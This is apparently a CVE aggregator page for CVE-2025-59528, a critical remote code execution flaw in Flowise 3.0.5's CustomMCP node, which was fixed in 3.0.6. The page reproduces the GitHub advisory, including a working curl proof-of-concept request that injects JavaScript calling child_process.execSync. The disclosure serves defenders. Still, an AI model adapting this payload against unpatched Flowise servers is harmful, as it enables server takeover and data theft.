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CVE-2025-59528

Flowise has Remote Code Execution vulnerability

10.0 CriticalPublic exploitFix available

Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5, Flowise is vulnerable to remote code execution. The CustomMCP node allows users to input configuration settings for connecting to an external MCP server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation. Specifically, inside the convertToValidJSONString function, user input is directly passed to the Function() constructor, which evaluates and executes the input as JavaScript code. Since this runs with full Node.js runtime privileges, it can access dangerous modules such as child_process and fs. This issue has been patched in version 3.0.6.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

91.7%Up 91.3 points since Sep 23, 2025
90%50%10%1%

What each source reports

CVE List Score used10.0

Flowise has Remote Code Execution vulnerability

Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5, Flowise is vulnerable to remote code execution. The CustomMCP node allows users to input configuration settings for connecting to an external MCP server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation. Specifically, inside the convertToValidJSONString function, user input is directly passed to the Function() constructor, which evaluates and executes the input as JavaScript code. Since this runs with full Node.js runtime privileges, it can access dangerous modules such as child_process and fs. This issue has been patched in version 3.0.6.

Record
CVE-2025-59528
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
EUVDEUVD-2025-2924610.0

Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5, Flowise is vulnerable to remote code execution. The CustomMCP node allows users to input configuration settings for connecting to an external MCP server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation. Specifically, inside the convertToValidJSONString function, user input is directly passed to the Function() constructor, which evaluates and executes the input as JavaScript code. Since this runs with full Node.js runtime privileges, it can access dangerous modules such as child_process and fs. This issue has been patched in version 3.0.6.

Record
EUVD-2025-29246
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-3gcm-f6qx-ff7p10.0

Flowise has Remote Code Execution vulnerability

Description

Cause of the Vulnerability

The CustomMCP node allows users to input configuration settings for connecting to an external MCP (Model Context Protocol) server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation.

Specifically, inside the convertToValidJSONString function, user input is directly passed to the Function() constructor, which evaluates and executes the input as JavaScript code. Since this runs with full Node.js runtime privileges, it can access dangerous modules such as child_process and fs.

Vulnerability Flow

  1. User Input Received: Input is provided via the API endpoint /api/v1/node-load-method/customMCP through the mcpServerConfig parameter.
  2. Variable Substitution: The substituteVariablesInString function replaces template variables like $vars.xxx, but no security filtering is applied during this step.
  3. Dangerous Code Execution: The convertToValidJSONString function executes the input using Function('return ' + inputString)(). If the inputString contains malicious code, it gets executed in the global Node.js context, allowing actions such as command execution and file system access.

Taint Flow

Proof of Concept (PoC)

curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \
  -d '{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})"
    }
  }'

<img width="1907" height="958" alt="image" src="https://github.com/user-attachments/assets/78b50eb1-67af-4c8b-97ea-7e2c05426962" />

When executed, this creates a file /tmp/RCE.txt on the server, confirming command execution.

Impact

Complete System Takeover and Infrastructure Threat

This vulnerability allows attackers to execute arbitrary JavaScript code on the Flowise server, leading to:

  • Full system compromise
  • File system access
  • Command execution
  • Sensitive data exfiltration

As only an API token is required, this poses an extreme security risk to business continuity and customer data.

Record
GHSA-3gcm-f6qx-ff7p
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
NVD10.0

Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5, Flowise is vulnerable to remote code execution. The CustomMCP node allows users to input configuration settings for connecting to an external MCP server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation. Specifically, inside the convertToValidJSONString function, user input is directly passed to the Function() constructor, which evaluates and executes the input as JavaScript code. Since this runs with full Node.js runtime privileges, it can access dangerous modules such as child_process and fs. This issue has been patched in version 3.0.6.

Record
CVE-2025-59528
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSV10.0

Flowise has Remote Code Execution vulnerability

Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5, Flowise is vulnerable to remote code execution. The CustomMCP node allows users to input configuration settings for connecting to an external MCP server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation. Specifically, inside the convertToValidJSONString function, user input is directly passed to the Function() constructor, which evaluates and executes the input as JavaScript code. Since this runs with full Node.js runtime privileges, it can access dangerous modules such as child_process and fs. This issue has been patched in version 3.0.6.

Record
CVE-2025-59528
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSVGHSA-3gcm-f6qx-ff7p10.0

Flowise has Remote Code Execution vulnerability

Description

Cause of the Vulnerability

The CustomMCP node allows users to input configuration settings for connecting to an external MCP (Model Context Protocol) server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation.

Specifically, inside the convertToValidJSONString function, user input is directly passed to the Function() constructor, which evaluates and executes the input as JavaScript code. Since this runs with full Node.js runtime privileges, it can access dangerous modules such as child_process and fs.

Vulnerability Flow

  1. User Input Received: Input is provided via the API endpoint /api/v1/node-load-method/customMCP through the mcpServerConfig parameter.
  2. Variable Substitution: The substituteVariablesInString function replaces template variables like $vars.xxx, but no security filtering is applied during this step.
  3. Dangerous Code Execution: The convertToValidJSONString function executes the input using Function('return ' + inputString)(). If the inputString contains malicious code, it gets executed in the global Node.js context, allowing actions such as command execution and file system access.

Taint Flow

Proof of Concept (PoC)

curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \
  -d '{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})"
    }
  }'

<img width="1907" height="958" alt="image" src="https://github.com/user-attachments/assets/78b50eb1-67af-4c8b-97ea-7e2c05426962" />

When executed, this creates a file /tmp/RCE.txt on the server, confirming command execution.

Impact

Complete System Takeover and Infrastructure Threat

This vulnerability allows attackers to execute arbitrary JavaScript code on the Flowise server, leading to:

  • Full system compromise
  • File system access
  • Command execution
  • Sensitive data exfiltration

As only an API token is required, this poses an extreme security risk to business continuity and customer data.

Record
GHSA-3gcm-f6qx-ff7p
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
flowise
npm
3.0.5 to 3.0.5
3.0.6
flowise
npm
3.0.5 up to 3.0.6
3.0.6

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
Exploit-DBFlowise 3.0.4 - Remote Code Execution (RCE)2025-10-31
MetasploitFlowise JS Injection RCE2025-09-13
NucleiFlowise - Remote Code Execution
PoC in GitHubAmoru-Bek/CVE-2025-59528-Poc2026-09-30
PoC in GitHubLoaxert/CVE-2025-59528-PoC2026-08-09
PoC in GitHubMoon-Harvest/CVE-2025-595282026-06-09
PoC in GitHubNymiiTechTips/CVE-2025-595282026-05-16
PoC in GitHubUsifAraby/CVE-2025-59528-POC2026-04-13
PoC in GitHubarensballiu/Flowise-RCE-CVE-2025-595282026-04-15
PoC in GitHubcorey-farley/CVE-2025-59528-Flowise-RCE2026-05-17
Show 6 moreShow less
Public exploits
SourceLinkDate
PoC in GitHubhackpatato/PoC-and-yara-rules-of-CVE-2025-59528-Flowise-has-Remote-Code-Execution-vulnerability2026-08-28
PoC in GitHubmananispiwpiw/CVE-2025-59528-PoC2026-05-01
PoC in GitHubmaradonam18/-CVE-2025-59528-PoC2026-04-15
PoC in GitHubsonnelon/CVE-2025-59528-PoC2026-08-10
PoC in GitHubvanhari/CVE-2025-595282026-04-13
PoC in GitHubzimshk/CVE-2025-59528.yaml2025-11-02

History

History
RecordedChangedSources
first indexedCVE List, EUVD, Exploit-DB, GitHub Advisories, Metasploit, Nuclei, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-59528 is a critical vulnerability (CVSS 10.0) in Flowiseai Flowise, published September 15, 2025. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 91.7%, the 99th percentile. Fixed in flowise 3.0.6.

References

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